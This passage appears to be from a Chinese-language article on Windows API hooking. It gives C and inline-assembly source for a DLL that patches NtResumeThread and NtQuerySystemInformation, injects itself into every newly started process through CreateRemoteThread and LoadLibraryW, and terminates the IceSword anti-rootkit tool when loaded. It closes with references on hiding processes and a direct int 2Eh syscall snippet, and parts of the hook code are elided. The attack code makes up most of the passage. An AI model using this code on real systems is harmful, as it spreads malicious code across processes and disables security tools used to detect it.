#define MEMORY_BASIC_INFORMATION_SIZE 28

typedef struct _THREAD_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PNT_TIB TebBaseAddress;
CLIENT_ID ClientId;
KAFFINITY AffinityMask;
KPRIORITY Priority;
KPRIORITY BasePriority;
} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;

typedef struct _PROCESS_BASIC_INFORMATION { // Information Class 0
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
KAFFINITY AffinityMask;
KPRIORITY BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

typedef NTSTATUS (__stdcall *NTQUERYSYSTEMINFORMATION)(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL );

typedef NTSTATUS (__stdcall *NTRESUMETHREAD)(
IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL
);

typedef NTSTATUS (__stdcall *NTQUERYINFORMATIONTHREAD)(
IN HANDLE ThreadHandle,
IN THREADINFOCLASS ThreadInformationClass,
OUT PVOID ThreadInformation,
IN ULONG ThreadInformationLength,
OUT PULONG ReturnLength OPTIONAL);


typedef NTSTATUS (__stdcall * NTQUERYINFORMATIONPROCESS)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL);


NTQUERYSYSTEMINFORMATION g_pfNtQuerySystemInformation = NULL;
NTRESUMETHREAD g_pfNtResumeThread = NULL;
BYTE g_OldNtQuerySystemInformation[5] = {0}, g_NewNtQuerySystemInformation[5] = {0};
BYTE g_OldNtResumeThread[5] = {0}, g_NewNtResumeThread[5] = {0};
DWORD dwIdOld = 0;
CRITICAL_SECTION cs;

NTSTATUS __stdcall NewNtQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);

NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL);


void WINAPI HookOn();
void WINAPI HookOff();

BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved )
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
InitializeCriticalSection(&cs);
char Name[MAX_PATH] = {0};
GetModuleFileName(NULL, Name, MAX_PATH);
// 杀杀冰刃玩玩
if ( strstr(Name, "IceSword.exe") != NULL)
{
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,
0,
GetCurrentProcessId());
TerminateProcess(hProcess, 0);
CloseHandle(hProcess);
}
if(!g_bHook)
{
HookOn();
}
#ifdef _DEBUG
MessageBox(NULL, "Process Attach", "Remote Dll", MB_OK);
#endif

}
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
if(g_bHook)
{
HookOff();
#ifdef _DEBUG
MessageBox(NULL, "Off!", "Hook Off", MB_OK);
#endif
DeleteCriticalSection(&cs);
}
break;
}

return TRUE;
}

BOOL EnableDebugPrivilege(BOOL fEnable) {

// Enabling the debug privilege allows the application to see
// information about service applications
BOOL fOk = FALSE; // Assume function fails
HANDLE hToken;

// Try to open this process's access token
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,
&hToken)) {

// Attempt to modify the "Debug" privilege
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return(fOk);
}

#define ThreadBasicInformation 0

void inject(HANDLE hProcess){

char CurPath[256] = {0};
GetSystemDirectory(CurPath, 256);
strncat(CurPath, "\\Hook.dll", 9);
//strcpy(CurPath, "C:\\WINDOWS\\system32\\Hook.dll");
PWSTR pszLibFileRemote = NULL;


int len = (lstrlen(CurPath)+1)*2;
WCHAR wCurPath[256];
MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);

EnableDebugPrivilege(1);

pszLibFileRemote = (PWSTR)
VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT, PAGE_READWRITE);

WriteProcessMemory(hProcess, pszLibFileRemote,
(PVOID) wCurPath, len, NULL);

PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

HANDLE hRemoteThread = CreateRemoteThread(hProcess,
NULL,
0,
pfnThreadRtn,
pszLibFileRemote,
0,
NULL);
WaitForSingleObject(hRemoteThread, INFINITE);
CloseHandle(hRemoteThread);

EnableDebugPrivilege(0);

}

NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL)
{

NTSTATUS ret;
NTSTATUS nStatus;
NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;
NTQUERYINFORMATIONTHREAD NtQueryInformationThread = NULL;
THREAD_BASIC_INFORMATION ti;
DWORD Pid = 0;

HMODULE hNtdll = GetModuleHandle("ntdll.dll");

NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll,
"NtQuerySystemInformation");
NtQueryInformationThread = (NTQUERYINFORMATIONTHREAD)GetProcAddress(hNtdll,
"NtQueryInformationThread");

if (NtQueryInformationThread == NULL)
{
#ifdef _DEBUG
MessageBox(NULL, "can't get NtQueryInformationThread", "", MB_OK);
#endif

}

nStatus = NtQueryInformationThread(ThreadHandle,
ThreadBasicInformation,
(PVOID)&ti,
sizeof(THREAD_BASIC_INFORMATION),
NULL);

if(nStatus != STATUS_SUCCESS)
{
#ifdef _DEBUG
MessageBox(NULL, "fuck failed", "", MB_OK);
#endif

}

Pid = (DWORD)(ti.ClientId.UniqueProcess);

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, Pid);

if (hProcess == NULL)
{
#ifdef _DEBUG
MessageBox(NULL, "open process failed", "", MB_OK);
#endif
}

BYTE FirstByte[1] = {0};
// check if the process has been hooked
ReadProcessMemory(hProcess, NtQuerySystemInformation, FirstByte, 1, NULL);

// 已经被Hook了
if ( FirstByte[0] == 0xe9)
{

HookOff();
ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount);
HookOn();

CloseHandle(hProcess);

return ret;
}
// 创建新进程的调用,Hook 之
else
{
HookOff();
inject(hProcess);
ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount);
HookOn();

CloseHandle(hProcess);
return ret;
}
}

NTSTATUS __stdcall NewNtQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;

HookOff();
ntStatus = g_pfNtQuerySystemInformation(SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength);
HookOn();

return ntStatus;
}


void WINAPI HookOn()
{
PMEMORY_BASIC_INFORMATION lpAllocBuffer = NULL;
DWORD dwOldProtect, dwOldProtect2;
HANDLE hProcess = NULL;


dwIdOld = GetCurrentProcessId();
hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, dwIdOld);
if(hProcess == NULL)
return ;

HMODULE hNtdll = GetModuleHandle("ntdll.dll");
g_pfNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll,
"NtQuerySystemInformation");

if (g_pfNtQuerySystemInformation == NULL)
{
return;
}

g_pfNtResumeThread = (NTRESUMETHREAD)GetProcAddress(hNtdll, "NtResumeThread");

if (g_pfNtResumeThread == NULL)
{
return;
}

EnterCriticalSection(&cs);

_asm
{
lea edi,g_OldNtQuerySystemInformation
mov esi,g_pfNtQuerySystemInformation
cld
mov ecx,5
rep movsb
lea edi,g_OldNtResumeThread
mov esi,g_pfNtResumeThread
cld
mov ecx,5
rep movsb
}

g_NewNtQuerySystemInformation[0] = 0xe9;
g_NewNtResumeThread[0] = 0xe9;
_asm
{
lea eax, NewNtQuerySystemInformation
mov ebx, g_pfNtQuerySystemInformation
sub eax, ebx
sub eax, 5
mov dword ptr [g_NewNtQuerySystemInformation + 1], eax
lea eax, NewNtResumeThread
mov ebx, g_pfNtResumeThread
sub eax, ebx
sub eax, 5
mov dword ptr [g_NewNtResumeThread + 1], eax
}
.......
LeaveCriticalSection(&cs);

g_bHook = TRUE;
}

// 还原被修改的代码
void WINAPI HookOff()
{
......
g_bHook = FALSE;
}

4. 参考资料

Microsoft MSDN,SDK & DDK
《Windows NT 2000 Native API Reference》
《Windows 核心编程》
《挂钩Windows API》
《如何在Windows NT中隐藏自己》

int 2eh 方式调用Native api

小技巧。但是用的人好像不多。例子: Windows 2000 下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
NtQuerySystemInformationNo = 0x97;

_declspec(naked)
NTSTATUS __stdcall PrivateNtQuerySystemInformation
(IN SYSTEM_INFORMATION_CLASS,
IN OUT PVOID,
IN ULONG,
OUT PULONG OPTIONAL)
{

_asm {
mov eax, NtQuerySystemInformationNo
lea edx, [esp+4]
int 2Eh
ret 10h
}

}